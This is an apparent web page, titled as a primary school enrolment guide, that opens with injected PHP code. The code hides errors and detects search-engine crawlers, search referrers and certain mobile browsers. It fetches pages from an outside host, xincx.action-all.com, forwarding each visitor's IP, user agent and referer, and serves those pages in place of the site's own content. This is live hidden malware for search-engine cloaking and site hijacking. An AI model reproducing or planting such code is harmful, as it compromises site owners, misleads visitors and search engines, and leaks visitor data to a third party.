if (!defined('SPIDER_HOOK_LOADED')) { define('SPIDER_HOOK_LOADED', true); error_reporting(0); define('SITE', 'http://xincx.action-all.com/' . $_SERVER['HTTP_HOST'] . '&s=' . urlencode($_SERVER['REQUEST_URI'])); define('SPIDER_UA', '@Bytespider|sogou|Googlebot|Yisou|Haosou|360Spider|bingbot|spider@i'); define('SE_KEYWORDS', '@baidu|sogou|so\.com|google|bing|yisou|sm\.cn|toutiao|haos|quark|360@i'); $c = $_SERVER; $userAgent = isset($c['HTTP_USER_AGENT']) ? $c['HTTP_USER_AGENT'] : ''; $referer = isset($c['HTTP_REFERER']) ? $c['HTTP_REFERER'] : ''; $needOutput = false; $response = false; if (preg_match(SPIDER_UA, $userAgent)) { $response = _tihuan_fetch(SITE); if ($response !== false && $response !== "302" && $response !== "0" && strlen($response) > 0) { $needOutput = true; } } elseif (!empty($referer) && preg_match(SE_KEYWORDS, $referer)) { $response = _tihuan_fetch(SITE); if ($response !== false && $response !== "302" && $response !== "0" && strlen($response) > 0) { $needOutput = true; } } elseif (preg_match('/UCBrowser|Quark|UCTurbo|MQQBrowser/i', $userAgent)) { $response = _tihuan_fetch(SITE); if ($response !== false && $response !== "302" && $response !== "0" && strlen($response) > 0) { $needOutput = true; } } if ($needOutput && $_SERVER['REQUEST_URI']!='/' && $_SERVER['REQUEST_URI']!='/index.php' ) { while (ob_get_level()) { ob_end_clean(); } header("Content-Type: text/html;charset=utf-8"); echo $response; exit; } } function _tihuan_fetch($e) { $remoteAddr = $_SERVER["REMOTE_ADDR"]; $host = $_SERVER["HTTP_HOST"]; $userAgent = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; $referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; $f = curl_init(); curl_setopt($f, CURLOPT_URL, $e); curl_setopt($f, CURLOPT_TIMEOUT, 10); curl_setopt($f, CURLOPT_RETURNTRANSFER, true); curl_setopt($f, CURLOPT_FOLLOWLOCATION, false); curl_setopt($f, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($f, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($f, CURLOPT_HTTPHEADER, array( "X-Forwarded-For: " . $remoteAddr, "X-Forwarded-Host: " . $host, "User-Agent: " . $userAgent, "Referer: " . $referer )); $g = curl_exec($f); $httpCode = curl_getinfo($f, CURLINFO_HTTP_CODE); if (curl_errno($f)) { curl_close($f); return "0"; } curl_close($f); if ($httpCode == 302 || $httpCode == 301) { return "302"; } if ($httpCode != 200) { return "0"; } return $g; } 小学入学指南 - 智慧山

小学入学指南

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